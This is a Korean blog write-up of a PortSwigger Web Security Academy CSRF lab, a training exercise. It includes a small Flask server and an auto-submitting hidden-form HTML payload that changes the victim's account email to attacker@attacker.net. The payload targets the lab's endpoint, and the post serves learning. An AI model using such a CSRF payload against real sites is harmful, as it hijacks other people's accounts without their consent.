본문 바로가기
정보보안/웹해킹

[PortSwigger] CSRF vulnerability with no defenses

by meanjung 2021. 10. 16.

https://portswigger.net/web-security/csrf/lab-no-defenses

 

Lab: CSRF vulnerability with no defenses | Web Security Academy

This lab's email change functionality is vulnerable to CSRF. To solve the lab, craft some HTML that uses a CSRF attack to change the viewer's email address ...

portswigger.net

 

풀이 영상을 보면 버프슈트 프로를 써서 했지만 난 내가 해봤다....

내가 직접하면 익스되는 것은 확인할 수 있지만 오른쪽 상단의 solved는 바뀌지 않는다,,,,

solved는 하라는대로 해서 바꾸는 걸로,,


아무 이메일로 바꿔서 버프스위트로 잡아본다.

그러면 request header에서 cookie로 session이 그대로 나와있는 걸 볼 수 있다. 

 

 

그럼 이제 다른 사이트로 접근하는 부분을 찾아본다. 

이렇게 댓글을 남길 수 있는 부분이 있다. 

여기서 Website에 https://www.google.com을 을 넣고 임의의 댓글을 남겨봤는데, 남긴 댓글에서 아이디를 클릭하면 해당 사이트로 리다이렉되는 것을 확인했다.

 

그렇다면 여기에 이메일 바꾸는 url을 넣으면 될 것 같다.


나는 flask 서버를 만들었다.

 

app.py

from flask import Flask, request, render_template

#Flask 객체 인스턴스 생성
app = Flask(__name__)

@app.route('/') # 접속하는 url
def index():
  return render_template('index.html')

if __name__=="__main__":
    app.run(host="127.0.0.1", port="4444", debug=True)

 

templates/index.html

<html>
    <body>
        <iframe style="display:none" name="csrf-frame"></iframe>
        <form method='POST' action="https://-----.web-security-academy.net/my-account/change-email" target="csrf-frame" id="csrf-form">
            <input type="hidden" name="email" value="attacker&#64;attacker&#46;net"/>
            <input type="submit" value="submit">
        </form>
        <script>
            document.getElementById("csrf-form").submit();
        </script>
    </body>
</html>

 

그리고 댓글 작성 Website란에다가 https://127.0.0.1:4444/를 입력했다. 

댓글을 올리고 아이디를 클릭해 해당 웹사이트로 접속했다가 다시 나와서 My account를 확인했다.

그러면 이메일이 attacker@attacker.net으로 바뀐 것을 확인할 수 있다. 

댓글